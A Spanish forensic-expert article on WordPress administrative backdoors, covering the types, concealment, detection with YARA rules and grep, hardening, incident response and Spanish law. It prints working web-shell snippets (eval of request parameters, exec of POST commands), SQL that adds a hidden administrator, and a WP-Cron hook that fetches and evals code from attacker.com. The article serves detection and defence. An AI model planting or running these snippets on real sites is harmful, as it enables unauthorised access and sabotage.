Técnico

Backdoor Administrativa

Código malicioso instalado en sitios web que permite acceso persistente no autorizado con privilegios administrativos, incluso después de cambiar contraseñas. En análisis forense, su detección requiere auditoría completa de archivos del sistema y base de datos.

13 min de lectura

¿Qué es una Backdoor Administrativa?

Una backdoor administrativa es código malicioso instalado intencionalmente en un sitio web que proporciona acceso secreto y persistente con privilegios administrativos completos, independientemente de las credenciales legítimas del sistema.

A diferencia de otros tipos de malware, las backdoors están diseñadas para mantenerse ocultas y sobrevivir a cambios de contraseñas, actualizaciones de software, e incluso restauraciones de backup si no se detectan correctamente.

Reinfecciones tras una limpieza superficial

Un patrón habitual en los sitios WordPress comprometidos es que, junto al malware visible, convive al menos una puerta trasera, y que esa puerta sobrevive a una «limpieza» que solo retira lo aparente: de ahí las reinfecciones. No se cuantifica aquí su prevalencia —haría falta un registro de casos propio que la sostenga—; lo que se describe es el mecanismo.

Tipos de Backdoors en WordPress

1. Backdoors en Archivos PHP

Archivos Maliciosos Independientes

Ubicaciones típicas:

/wp-content/uploads/backdoor.php
/wp-includes/wp-admin2.php  
/wp-content/themes/twentytwentythree/config.php
/wp-content/plugins/hello-dolly/admin-ajax.php

Características:

  • Nombres que imitan archivos legítimos
  • Ubicaciones donde WordPress no los espera
  • Código frecuentemente ofuscado
  • Capacidades de shell remoto completo

Código Inyectado en Archivos Legítimos

Archivos objetivo frecuentes:

  • wp-config.php (configuración crítica)
  • functions.php del tema activo
  • index.php del tema o raíz
  • Archivos de plugins populares

Ejemplo de inyección típica:

<?php
// Código WordPress legítimo...

if(isset($_REQUEST['cmd'])){
    eval(base64_decode($_REQUEST['cmd']));
}

// Más código legítimo...
?>

2. Backdoors en Base de Datos

Usuarios Administradores Ocultos

Características:

  • Nombres que imitan usuarios legítimos
  • Emails falsos pero creíbles
  • Rol administrator
  • Fechas de creación manipuladas

Ejemplo SQL:

INSERT INTO wp_users (
    user_login, user_pass, user_nicename, 
    user_email, user_registered, user_status
) VALUES (
    'admin2', MD5('secret123'), 'admin2',
    'admin@empresa.com', '2020-01-01', 0
);

Opciones Modificadas

wp_options table manipulation:

-- Payload guardado en una opción (por sí solo NO se ejecuta:
-- WordPress recupera el valor como cadena; hace falta código
-- que lo cargue y lo evalúe, p. ej. una plantilla manipulada)
UPDATE wp_options 
SET option_value = '<?php eval($_POST["cmd"]); ?>' 
WHERE option_name = 'template_header';

-- Plugin falso añadido a la lista de activos. Ojo a la longitud
-- del valor serializado: "fake-security/main.php" son 22 bytes,
-- así que el prefijo correcto es s:22, no s:21 — un valor mal
-- contado como este ni siquiera deserializa
INSERT INTO wp_options (option_name, option_value) 
VALUES ('active_plugins', 'a:1:{i:0;s:22:"fake-security/main.php";}');

active_plugins sí contiene rutas de plugins, pero guardar PHP en una opción no lo ejecuta: el valor se lee como texto (get_option devuelve las opciones escalares como cadenas) hasta que otra parte del código lo pasa a eval o a include.

3. Backdoors Avanzadas

Cron Jobs Maliciosos

// WP-Cron NO es un cron de sistema: el hook se dispara en la
// primera visita al sitio posterior al vencimiento, no a la hora
// exacta. Y sin wp_next_scheduled() antes, cada ejecución puede
// programar un evento duplicado.
if (!wp_next_scheduled('malware_update')) {
    wp_schedule_event(time(), 'hourly', 'malware_update');
}
add_action('malware_update', function() {
    if($_GET['update'] == 'confirm') {
        eval(file_get_contents('http://attacker.com/payload'));
    }
});

Que dependa de las visitas importa en el análisis forense: en un sitio con poco tráfico, un evento «horario» puede tardar mucho más en dispararse, y esa latencia explica huecos en la cronología que de otro modo parecerían incoherentes.

Hooks de WordPress

// Se ejecuta en cada carga de página admin
add_action('admin_init', function() {
    if($_POST['admin_cmd']) {
        exec($_POST['admin_cmd'], $output);
        echo "<pre>" . implode("\n", $output) . "</pre>";
        die();
    }
});

Métodos de Instalación

Vector 1: Vulnerabilidades Conocidas

El vector no suele ser el núcleo de WordPress, sino un plugin desactualizado. Lo que importa en el peritaje no es qué CVE concreto se explotó —eso se determina después, cotejando versiones instaladas contra las fichas del NVD—, sino el patrón, que sí es constante:

Clase de falloCómo acaba en puerta traseraQué buscar en el peritaje
Subida de ficheros sin restringirSe escribe un .php en wp-content/uploads/, que normalmente solo contiene mediosFicheros .php bajo uploads/; mtime posterior a la última actualización legítima
Inyección de código o RCESe añade código a functions.php del tema activo o a un must-use pluginDiferencia contra una copia limpia del tema; ficheros nuevos en wp-content/mu-plugins/
Escalada de privilegios o creación de usuariosQueda una cuenta de administrador que no creó nadieTabla wp_users cotejada con altas legítimas; user_registered frente a los logs de acceso

Al citar un CVE concreto en un informe hay que abrir su ficha en el NVD: un mismo identificador puede corresponder a un tipo de fallo y a un componente distintos de los que sugiere el contexto —una referencia insegura a objetos donde se esperaba un RCE, un plugin ajeno al que se creía, o incluso una vulnerabilidad que ni siquiera es de WordPress—, y atribuirle una descripción equivocada es un flanco fácil de rebatir.

Vector 2: Credenciales Comprometidas

Secuencia típica:

  1. Atacante obtiene credenciales admin (phishing, brute force)
  2. Accede a wp-admin legítimamente
  3. Instala backdoor mediante:
    • File Manager plugins
    • Theme/Plugin Editor
    • Upload de archivos maliciosos
  4. Elimina logs de acceso
  5. Mantiene acceso persistente

Vector 3: Supply Chain Attacks

Plugins/themes comprometidos:

  • Desarrollador original comprometido
  • Plugin abandonado tomado por malicious actor
  • Theme “premium” gratuito en sitios sospechosos
  • Repository typosquatting
Patrón habitual en e-commerce comprometidos

Un patrón que se repite en e-commerce comprometidos: el atacante entra por credenciales débiles y, una vez dentro, no deja una puerta trasera sino varias redundantes, para conservar el acceso aunque se descubra una. Es lo que convierte una limpieza incompleta en una reinfección a los pocos días.

Técnicas de Ocultación

Ofuscación de Código

Base64 Encoding

<?php eval(base64_decode("ZXZhbCgkX1BPU1RbImNtZCJdKTs=")); ?>
// Decoded: eval($_POST["cmd"]);

Ofuscación del nombre de la función

Los atacantes esconden la función que ejecutan reconstruyendo su nombre a partir de trozos o de códigos hexadecimales, para que un grep de eval no la encuentre. Un detalle importante para el analista: eval es una construcción del lenguaje, no una función, y la propia documentación de PHP advierte de que «no puede invocarse mediante funciones variables» ($fn(...)). Por eso la reconstrucción del nombre se aplica a funciones que sí admiten esa llamada —assert, call_user_func, system—, mientras que a eval el nombre se le pasa directamente como cadena. La técnica de ocultación es real; lo que no funciona es invocar eval a través de una función variable.

Técnicas de Naming

File Name Mimicking

wp-admin2.php          (imita wp-admin.php)
wp-config-backup.php   (parece backup legítimo)
maintenance.php        (modo mantenimiento falso)
.htaccess.php         (archivo híbrido)

Hidden Files

.config.php           (archivo oculto Unix)
..config.php          (double dot trick)
wp-config .php        (espacio invisible)
index.php.backup      (extensión doble)

Técnicas Anti-Forense

Timestamp Manipulation

// Modifica fecha del archivo para parecer legítimo
touch('backdoor.php', filemtime('wp-config.php'));

Ejecución condicionada por User-Agent

// OJO: esto NO evade los logs. La condición solo decide si se
// ejecuta el payload; la petición ya ha quedado registrada por
// Apache/nginx (access_log) antes de llegar a este PHP. Lo que
// hace es no ejecutarse ante un User-Agent conocido de análisis,
// para pasar desapercibida en un escaneo superficial.
if($_SERVER['HTTP_USER_AGENT'] != 'ForensicBot') {
    eval($_POST['cmd']);
}

El registro de las peticiones lo hace el servidor web con CustomLog/TransferLog (mod_log_config) con independencia de lo que decida el PHP, así que el access_log sigue siendo una fuente forense válida aunque la puerta trasera «esquive» a un bot conocido.

Análisis Forense de Backdoors

Metodología de Detección

  1. File System Analysis: Identificar archivos modificados/añadidos recientemente.

  2. Code Review: Analizar código PHP sospechoso o ofuscado.

  3. Database Audit: Revisar usuarios, opciones y metadatos anómalos.

  4. Log Analysis: Correlacionar accesos con cambios en archivos.

  5. Network Analysis: Identificar conexiones salientes sospechosas.

  6. Timeline Reconstruction: Determinar cuándo se instaló cada backdoor.

Herramientas de Análisis

Scanners Automatizados

WordFence CLI

wordfence malware-scan /path/to/wordpress
## Detecta backdoors conocidas y código sospechoso

Sucuri SiteCheck (escáner remoto)

curl "https://sitecheck.sucuri.net/results/example.com"
## Escanea solo lo visible desde el navegador. La propia Sucuri
## advierte de que "no detecta nada del lado del servidor": no
## sirve para buscar puertas traseras en archivos ni en la base
## de datos, que es donde viven. Para eso hace falta acceso al
## servidor (la plataforma de pago de Sucuri, o el análisis local).

YARA Rules for WordPress

rule WordPress_Backdoor_eval {
    strings:
        $eval = "eval("
        $post = "_POST"
        $get = "_GET" 
        $request = "_REQUEST"
    condition:
        $eval and ($post or $get or $request)
}

Análisis Manual

Buscar archivos PHP sospechosos:

find /var/www/wordpress -name "*.php" -exec grep -l "eval\|base64_decode\|exec\|system" {} \;

Verificar timestamps anómalos:

find /var/www/wordpress -type f -newer reference_file.txt

Auditar usuarios administradores:

SELECT user_login, user_email, user_registered 
FROM wp_users 
WHERE user_login LIKE '%admin%' 
ORDER BY user_registered DESC;

Indicadores de Compromiso (IoCs)

File System IoCs

IndicadorDescripciónCriticidad
Archivos PHP en /uploads/Es una carpeta de subidas: no debería contener .php, y encontrarlos es señal fuerte. Matiz: WordPress filtra los tipos que admite al subir, pero eso no impide que un .php ya colocado se ejecute —eso depende de la configuración del servidor—, así que conviene bloquear su ejecución explícitamenteCritical
Usuarios admin recientesCuentas creadas sin autorizaciónHigh
Archivos con nombres duplicadoswp-admin2.php, config-backup.phpHigh
Código ofuscadoBase64, hex, string manipulationMedium
Timestamps inconsistentesArchivos “antiguos” con contenido nuevoMedium

Network IoCs

Conexiones salientes sospechosas:
- POST requests a dominios no relacionados
- User agents anómalos o automatizados  
- Transferencias de datos grandes sin justificar
- Accesos desde IPs geográficamente improbables

Behavioral IoCs

  • Actividad nocturna: Modificaciones fuera de horario laboral
  • Bulk operations: Descarga masiva de contenido
  • Admin actions: Creación/modificación de usuarios
  • Plugin/theme changes: Instalaciones no autorizadas

Escenarios ilustrativos

Escenarios ilustrativos

Los tres casos siguientes son escenarios construidos sobre tipologías reales para explicar qué rastro deja cada clase de puerta trasera y cómo se analiza. No relatan expedientes concretos: los perfiles, importes y desenlaces no corresponden a un procedimiento identificable. Lo que sí es exacto —porque es lo que el lector aprende— es la técnica de cada ejemplo.

Escenario 1: sabotaje del posicionamiento

Tipología. Una puerta trasera colocada en la plantilla de un tema no destruye el sitio: lo degrada de forma selectiva, para que el daño parezca un problema técnico y no un sabotaje.

// wp-content/themes/agency/footer.php
if($_GET['admin_mode'] == 'destroy_seo') {
    delete_meta_tags_by_keywords(['posicionamiento', 'marketing']);
    header('Location: http://competidor.example', true, 301);
}

Qué acredita el análisis, y qué no. El artefacto demuestra el mecanismo y su capacidad de actuar a demanda. Por sí solo no prueba quién lo instaló, desde cuándo estaba operativo ni cuántas veces se usó: eso exige correlacionar el archivo con los access_log del servidor, los metadatos de modificación, las IP de acceso y el resto de la evidencia. La atribución y el resultado de una eventual reclamación los decide el procedimiento, no la puerta trasera.

Escenario 2: sabotaje interno con activación temporal

Tipología. El insider no borra nada: introduce una alteración condicionada por fecha para que el efecto —una caída de pedidos, por ejemplo— se confunda con una incidencia intermitente.

-- Guardar PHP en una opción NO lo ejecuta por sí solo: hace falta
-- código que cargue 'checkout_hook' y lo evalúe. El fragmento
-- ilustra la lógica de activación temporal, no un mecanismo completo.
UPDATE wp_options 
SET option_value = '<?php if(date("d") > 15) { $cart_total *= 0.1; } ?>' 
WHERE option_name = 'checkout_hook';

Qué acredita el análisis. La marca temporal de la modificación, el usuario y la estación de trabajo desde la que se hizo son indicios que, cruzados, apuntan a una autoría; no la cierran solos. Una activación condicionada por fecha explica por qué el efecto era intermitente, que es justo lo que hace difícil detectarlo sin analizar la base de datos.

Escenario 3: ransomware con acceso prolongado

Tipología. En un incidente de cifrado, la presencia de varias puertas traseras redundantes es lo que distingue una operación sostenida en el tiempo de un ataque puntual.

// Acceso a demanda (en una carpeta de subidas, donde no debería haber PHP)
eval(gzinflate(base64_decode($_POST['data'])));

// Persistencia (inyectada en functions.php)
add_action('wp_loaded', function() {
    if($_COOKIE['session_token'] == md5('admin_secret')) {
        eval($_POST['admin_cmd']);
    }
});

Qué acredita el análisis, y su límite. Que existan varias puertas instaladas en fechas distintas es un indicio fuerte de acceso prolongado, útil frente a la defensa de «ataque puntual inevitable». Pero «prolongado» hay que medirlo con las fechas de creación de cada artefacto, la retención de logs y la ventana conocida del adversario, no afirmarlo porque haya varias puertas. Las cifras concretas de afectados, la cronología exacta o el desenlace de un caso real solo pueden publicarse con la resolución o el informe delante.

Prevención y Hardening

Medidas Preventivas

File System Protection

## Permisos restrictivos
find /var/www/wordpress -type f -exec chmod 644 {} \;
find /var/www/wordpress -type d -exec chmod 755 {} \;
chmod 400 wp-config.php   # WordPress recomienda 400 o 440, según propiedad
                          # y configuración del servidor; 600 no es universal

Para bloquear la ejecución de PHP en uploads, php_flag engine off solo funciona con el módulo Apache de PHP (mod_php); con PHP-FPM o CGI no tiene efecto. Lo portable es negar el acceso a los .php de esa carpeta y confiar la ejecución al SetHandler/configuración del servidor.

Monitoring en Tiempo Real

## inotify para detectar modificaciones
inotifywait -m -r --format '%w %f %e' /var/www/wordpress | while read file event; do
    if [[ $event == "MODIFY" && $file =~ \.php$ ]]; then
        echo "ALERT: PHP file modified: $file" | mail admin@empresa.com
    fi
done

WordPress Security Hardening

Configuration Changes

// wp-config.php - Deshabilitar editor de archivos
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);

// Limitar revisiones
define('WP_POST_REVISIONS', 3);

// Force SSL admin
define('FORCE_SSL_ADMIN', true);

.htaccess Protection

## Bloquear acceso a archivos sensibles
<Files "wp-config.php">
    Require all denied
</Files>

## Prevenir la ejecución de PHP en uploads.
## OJO: <Directory> NO es válido dentro de un .htaccess (su contexto
## es server config o virtual host). En .htaccess se usa <Files>/<FilesMatch>:
<FilesMatch "\.(?i:php|php3|phtml|pht)$">
    Require all denied
</FilesMatch>

En Apache 2.4 la directiva vigente para denegar acceso es Require all denied, no Deny from all, que es sintaxis de la 2.2 y solo sigue funcionando con mod_access_compat.

Database Hardening

Auditoría Regular de Usuarios

-- Detectar usuarios admin no reconocidos
SELECT u.user_login, u.user_email, u.user_registered, m.meta_value
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id 
WHERE m.meta_key = 'wp_capabilities' 
AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;

Monitoring de Cambios Críticos

-- Log de cambios en opciones críticas
CREATE TRIGGER wp_options_changes 
AFTER UPDATE ON wp_options
FOR EACH ROW
INSERT INTO audit_log (table_name, action, old_value, new_value, timestamp)
VALUES ('wp_options', 'UPDATE', OLD.option_value, NEW.option_value, NOW());

Respuesta a Incidentes

Protocolo de Limpieza

  1. Aislamiento: Desconectar sitio de internet para prevenir más daño.

  2. Backup forense: Crear imagen completa antes de modificar nada.

  3. Análisis completo: Identificar TODAS las backdoors, no solo las obvias.

  4. Eliminación: Remover código malicioso y usuarios no autorizados.

  5. Hardening: Aplicar medidas preventivas antes de reconectar.

  6. Monitoring: reforzar la vigilancia tras la limpieza. La duración se dimensiona según el riesgo, la ventana conocida del adversario, la retención de logs y el plan de respuesta; no existe un plazo universal.

Errores Comunes

❌ Error 1: Limpieza Superficial

Problema: Solo eliminar malware visible. Consecuencia: Backdoors ocultas causan reinfección inmediata.

❌ Error 2: Restaurar Backup Infectado

Problema: Los backups pueden contener backdoors de hace meses. Solución: Análisis forense del backup antes de restaurar.

❌ Error 3: No Cambiar Todas las Credenciales

Problema: Mantener contraseñas conocidas por atacante. Solución: Reset completo de credenciales + 2FA obligatorio.

❌ Error 4: No Documentar Evidencia

Problema: Destruir evidencia forense durante limpieza. Solución: Análisis forense profesional antes de cualquier modificación.

Aspectos Legales

Tipificación Penal

Las backdoors administrativas pueden constituir:

  • Art. 197 bis CP: acceso a un sistema informático vulnerando las medidas de seguridad establecidas para impedirlo y sin estar debidamente autorizado. Ese matiz —que haya medidas y se sorteen— es parte del tipo, no un simple «acceso no autorizado»
  • Art. 264 CP: Daños informáticos (si causan deterioro)
  • Art. 248 CP: Estafa (si se usa para defraudar)
  • Art. 278 CP: Descubrimiento de secretos de empresa (espionaje industrial)

Evidencia Digital

Buenas prácticas que refuerzan el valor de la prueba

No son «requisitos de validez» que la ley imponga —la LEC admite el soporte electrónico y su dictamen, y lo valora según la sana crítica (art. 348), sin exigir universalmente un hash ni un perito—, sino controles que hacen el dictamen más difícil de rebatir:

  1. Cadena de custodia documentada
  2. Hash SHA-256 de los archivos analizados
  3. Metodología reproducible por otro perito
  4. Timeline coherente con el resto de indicios

Valor Probatorio

  • Mecanismo: la puerta trasera acredita un medio de acceso a demanda y qué podía hacer el atacante
  • Lo que NO prueba por sí sola: quién la instaló, desde cuándo estaba operativa, cuántas veces se usó o con qué intención. Eso exige correlacionarla con access_log, metadatos, tráfico de red y demás fuentes (NIST SP 800-86: «analizar múltiples tipos de fuentes y correlacionar los eventos entre ellas»)
  • Persistencia: varias puertas instaladas en fechas distintas apuntan a acceso prolongado, pero «prolongado» se mide con las fechas y los logs, no se afirma por su número

Responsabilidad Civil

Negligencia Empresarial

Criterios evaluación:

  • ¿Existían actualizaciones de seguridad disponibles?
  • ¿Se realizaba monitorización de cambios?
  • ¿Había políticas de gestión de usuarios?
  • ¿Se auditaban accesos administrativos?

Daños Reclamables

  • Lucro cesante: Ventas perdidas durante compromiso
  • Daño emergente: Costes de limpieza y recovery
  • Daño reputacional: Pérdida de confianza cliente
  • Multa administrativa del RGPD: es una sanción que decide la autoridad de control caso por caso (art. 83), no un daño que la víctima pueda reclamar. Lo que el afectado sí puede reclamar es la indemnización por el daño sufrido (art. 82), que es una institución distinta
Implicación Legal

La presencia de backdoors administrativas no detectadas durante meses puede valorarse como negligencia empresarial en materia de medidas de seguridad.

Herramientas Forenses Avanzadas

Static Analysis

PHP Malware Finder — ⚠️ su repositorio quedó archivado el 11 de febrero de 2024 y ya no recibe mantenimiento. Se cita por su valor histórico; para uso actual conviene una alternativa mantenida.

## El binario documentado es php-malware-finder (no "malware_finder.php",
## que no existe) y no tiene una opción --pattern:
php-malware-finder /path/to/wordpress

Custom YARA Rules

rule WordPress_Admin_Backdoor {
    meta:
        description = "WordPress administrative backdoor"
        author = "Digital Forensics Team"
        
    strings:
        $php_open = "<?php"
        $eval_func = "eval("
        $wordpress_globals = /\$_(GET|POST|REQUEST|COOKIE)\s*\[/
        $admin_funcs = /(add_action|wp_schedule_event|current_user_can)/
        
    condition:
        $php_open at 0 and $eval_func and $wordpress_globals and $admin_funcs
}

Dynamic Analysis

Web Shell Detection via Honeypot

// Honeypot script que detecta accesos a backdoors
<?php
$honeypot_log = '/var/log/wordpress_honeypot.log';
$accessed_file = $_SERVER['REQUEST_URI'];
$client_ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];

// Log accesos sospechosos
file_put_contents($honeypot_log, 
    date('Y-m-d H:i:s') . " - Backdoor access attempt\n" .
    "File: $accessed_file\n" . 
    "IP: $client_ip\n" .
    "User-Agent: $user_agent\n\n",
    FILE_APPEND | LOCK_EX
);
?>

¿Tienes un caso con evidencia digital de por medio?

Una valoración previa dice qué evidencia existe, en qué estado está y si es técnicamente preservable, antes de invertir en el procedimiento.

Conclusión

Las backdoors administrativas representan una de las amenazas más serias para sitios WordPress, combinando acceso persistente con capacidades de administración completa. Su análisis forense requiere comprensión profunda de:

  • Arquitectura WordPress: Archivos, base de datos, hooks y permisos
  • Técnicas de ocultación: Ofuscación, naming tricks, anti-forense
  • Metodología investigativa: Timeline reconstruction, IoC correlation
  • Aspectos legales: Tipificación penal y evidencia digital válida

Para abogados especializados en cibercrimen, las backdoors son evidencia clave en casos de:

  • Sabotaje empresarial y competencia desleal
  • Insider threats y disputas laborales
  • Violaciones de datos y reclamaciones RGPD
  • Extorsión digital y casos de ransomware
  • Disputas contractuales sobre seguridad web

Su detección y análisis forense adecuado puede ser determinante para el éxito de litigios cibernéticos y la atribución de responsabilidades tanto penales como civiles.

Última actualización: 4 de septiembre de 2026 Categoría: Técnico Código: BDA-001

Preguntas Frecuentes

¿Qué es una backdoor administrativa y cómo funciona?

Es código malicioso que crea una entrada oculta al sitio web con privilegios de administrador, permitiendo acceso incluso tras cambiar contraseñas. Se instala en archivos PHP o la base de datos.

¿Cómo detectar backdoors en WordPress?

Mediante análisis forense de archivos modificados, código ofuscado, usuarios administradores no reconocidos, archivos con nombres sospechosos y consultas a la base de datos anómalas.

¿Una backdoor puede servir como prueba de acceso no autorizado?

La evidencia forense de una puerta trasera acredita el mecanismo de acceso y puede ser clave en casos de competencia desleal, sabotaje o violación de datos. Por sí sola no prueba quién la instaló ni durante cuánto tiempo se usó: eso requiere correlacionarla con los logs del servidor y el resto de la evidencia.

¿Necesitas un peritaje forense?

Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.

Solicitar Consulta Gratuita
Jonathan Izquierdo

Jonathan Izquierdo · Perito Forense

+15 años experiencia · AWS Certified

WhatsApp